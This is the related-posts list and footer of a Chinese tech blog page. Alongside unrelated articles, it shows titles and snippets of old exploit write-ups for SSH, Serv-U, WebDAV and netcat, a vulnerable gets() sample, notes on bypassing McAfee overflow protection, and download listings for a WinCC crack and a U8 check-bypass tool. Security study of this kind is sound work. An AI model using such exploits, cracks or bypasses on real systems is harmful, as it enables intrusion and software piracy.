主成分分析1.主成分分析1.1 降维(Dimensionality Reduction)1.2 均值(Mean)1.3 方差(Variance)1.4 协方差(Covariance)1.5 协方差矩阵(Covariance Matrix)1.6 线性变换(Linear Transformation)1.7 主成分分析(PCA)1.8 PCA和SVD的关系 1.主成分分析 关于PCA的介绍:用最直观的方式告诉你:什么是主成分分析PCA 笔记来源:Principal Component Analysis (PC

一个搬运知识的笨小孩 3232

stable diffusioncontrolNet 预处理器/模型的下载及安装使用教程

首先说明,controlNet 的模型 不同于stable diffusion 模型,这一点一定要区分清楚。下面提供多个ControlNet 预处理器+ 专用模型的百度网盘下载链接,都是由群友整理贡献,但各自包含的版本不同,大家可自行选择。推荐下载紫色链接内的模型,fp16版文件更小,稍微新一些的controlnet插件还添加了对control-lora的支持(注意,要求controlnet插件的版本比12月16号新(1.1.423以上)才能正常识别),推荐下载;

代码简单说 Vue、JAVA、PHP、Node.js 熟练运用,接口、架构、性能全搞定。 3389

【分析】对于SSH crc32 compensation attack detector exploit 的分析

对于SSH crc32 compensation attack detector exploit 的分析创建时间:2001-11-12文章属性:整理文章提交:xundi (xundi_at_xfocus.org)by xundi@xfocus.orghttp://xfocus.org2001/11/10由于SSH crc32 compensation attack detector exploit

FreeXploiT 3575

基于遗传算法的码头泊位分配调度优化问题求解

例如,基因型为 [3, 1, 4, 2] 表示第一艘停靠在第三个泊位,第二艘停靠在第一个泊位,以此类推。同时,该码头有 n 艘船需要停靠,每艘船的货物数量、船长、船宽都不同,需要根据其特性来分配合适的泊位,并确定每个泊位的使用时间,以最大化码头的使用效率。码头的泊位分配调度是一个关键的物流问题,它涉及到船舶的进出港、货物的装卸和存储等多个方面,因此对其进行优化是至关重要的。根据得到的最优个体,可以得到每个泊位停靠的船只、使用时间等信息,从而确定码头的泊位分配调度方案。% 不同船只的货物数量。

uote_e的博客 1076

【实战】Serv-U "site chmod xxx" Exploit

Serv-U "site chmod xxx" Exploit创建时间:2004-02-20文章属性:转载文章提交:velvet (zodiacsoft_at_hotmail.com)论坛登陆名: SWAN提交者邮件地址: ????提交者QQ号码: ????版权:文章属中华安全网http://www.safechina.net和作者共同所有,转载请注明出处!!标题: Serv-U "site ch

FreeXploiT 3009

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

【分析】通用的攻击WebDAV漏洞的方法

通用的攻击WebDAV漏洞的方法创建时间:2003-03-29文章属性:原创文章来源:http://www.xfocus.net文章提交:isno (isno_at_sina.com)by isno    前几天写的WebDAV漏洞的分析和溢出程序,有一些网友对exploit程序的成功率提出了质疑,哈哈,那个程序确实写的不好,成功率是比较低的。这两天我又翻出yuange原来写的《widechar的

FreeXploiT 2941

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

【原理+实战】window系统下的堆栈溢出

window系统下的堆栈溢出作者:ipxodi>日期:2000-05-23◆原理篇这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序的堆栈溢出漏洞。让我们从头开始。windows 98第二版首先,我们来写一个问题程序:#include int main(){char name[32];gets(name);for(int i=0;iprintf("//0x%x"

FreeXploiT 2765

Win32 缓冲区溢出实战 (转)

Win32 缓冲区溢出实战 --------------------------------------------------------------------------------    原文:《Intro to Win32 Exploits》作者:Sergio Alvarez 2004.09.05译者:cloie#ph4nt0m.org 2004.10.30一、前序很多次被朋友邀请写

FreeXploiT 2554

【分析】Serv-U "MDTM"命令远程溢出分析

Serv-U "MDTM"命令远程溢出分析创建时间:2004-03-05文章属性:转载文章提交:peak (pe4k_at_eyou.com)Serv-U "MDTM"命令远程溢出分析                                       czy 于 04.02.29    2月27号一早在securityfocus看到了这个漏洞的公告,上面清楚的说明了You must ha

FreeXploiT 2552

--------溢出植入型木马(后门)的原型实现 作者:FLASHSKY(原创)

 作者:FLASHSKY(原创)作者邮箱:flashsky@xfocus.org站点:    www.xfocus.net申明: 作者无意实现一个木马,作者也不是一个木马开发者,只是提供一种思路:将缓冲区溢出攻击和木马/后门相结合的木马实现手段,通过一个简单的原型来验证这种思路的可行性,并展示给大家看到这种实现方式的很多特点和优势。也提请安全研究人员对这种木马发展技术给予较高的关注,提出查杀和避免

FreeXploiT 2374

nc 1.1 -e 远程缓冲区溢出

/* Netcat v1.1, "-e" Switch, Remote Buffer Overflow Exploit v0.1 Homepage..........: http://www.securityfocus.com/tools/139/scoreit Affected versions.: v1.1 Fix....

FreeXploiT 2360

浅析mcafee的“缓冲区溢出保护”及绕过方法【安焦Leven】

[mcafee的“缓冲区溢出保护”]    如果处在堆栈里的shellcode调用了getprocaddress等函数,mcafee会中止当前进程并报警。[分析原理]    mcafee对所有进程截获了loadlibrarya、loadlibraryw、getprocaddress等api函数,方法类似api截获:将这些函数的开始几个字节改为call detectapiret,即调用entapi.

FreeXploiT 2354

【例子】WIN平台缓冲溢出程序编写

创建时间:2001-06-30文章属性:转载文章来源:http://go4.163.com/watercloud/文章提交:quack (quack_at_xfocus.org)post by cloud (safesuite@263.net)最近刚研究了WIN平台的溢出,在openlab(61.150.43.7) VC版贴过.后来整理了一下 下载win_of.zip题目有:        01

FreeXploiT 2226

Linux 进程控制:fork、exit、wait、exec 与手写一个 mini shell

讲清进程控制的四个动作:fork 创建(内核四件事与写时拷贝)、exit/_exit/return 终止与 8 位退出码、wait/waitpid 等待与 status 位图、exec 七接口与唯一系统调用 execve,最后用这些零件拼出一个支持 cd/export/echo 的 mini shell,并解释环境变量两张表与 putenv 浅拷贝坑。附速查表与 14 道自测题。

BIII__的博客 191

第一章 Shell 概述

本文介绍了Shell编程的基础知识,包括Shell的起源与发展、常见Shell类型及查看方式,阐述了Shell作为命令解释器连接用户与操作系统内核的作用。强调其作为解释型脚本语言的优势,适用于系统管理自动化任务。内容涵盖Shell脚本基本结构、注释规范、编写风格、执行方法及常用命令(如echo、printf、history、管道等),并讲解了命令执行顺序、退出状态码等核心概念,为初学者提供系统学习路径。

sbjdhjd的博客 307

DeepAgents框架构建一个带有严格安全护栏的本地 Shell 执行环境。

核心亮点在于:通过精心设计的 System Prompt(系统提示词)强制约束大模型的行为,防止其通过操作系统底层的 Shell 命令绕过框架的虚拟沙箱,从而确保本地物理磁盘的绝对安全。DeepAgents 框架接入 DeepSeek 模型并构建一个带有严格安全护栏的本地 Shell 执行环境。

qq_42092076的博客 75

Prism Region

Region 就是界面上的一个"占位坑":Shell(主窗口)只负责划分区域,具体放哪个 View 由各模块在运行时决定。这样 Shell 和 View 之间互不引用,实现解耦。在 Shell 的 XAML 里给容器控件起一个区域名: Prism 默认支持三类控件: 控件 行为 ContentControl 同一时间只显示一个 View ItemsControl 同时显示多个 View Selector(TabControl、ListBox 等) 多个 View,其中一个被选中

Iron 204
上一篇: 【原理】高级缓冲溢出的使用
下一篇: 【例子】WIN平台缓冲溢出程序编写
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值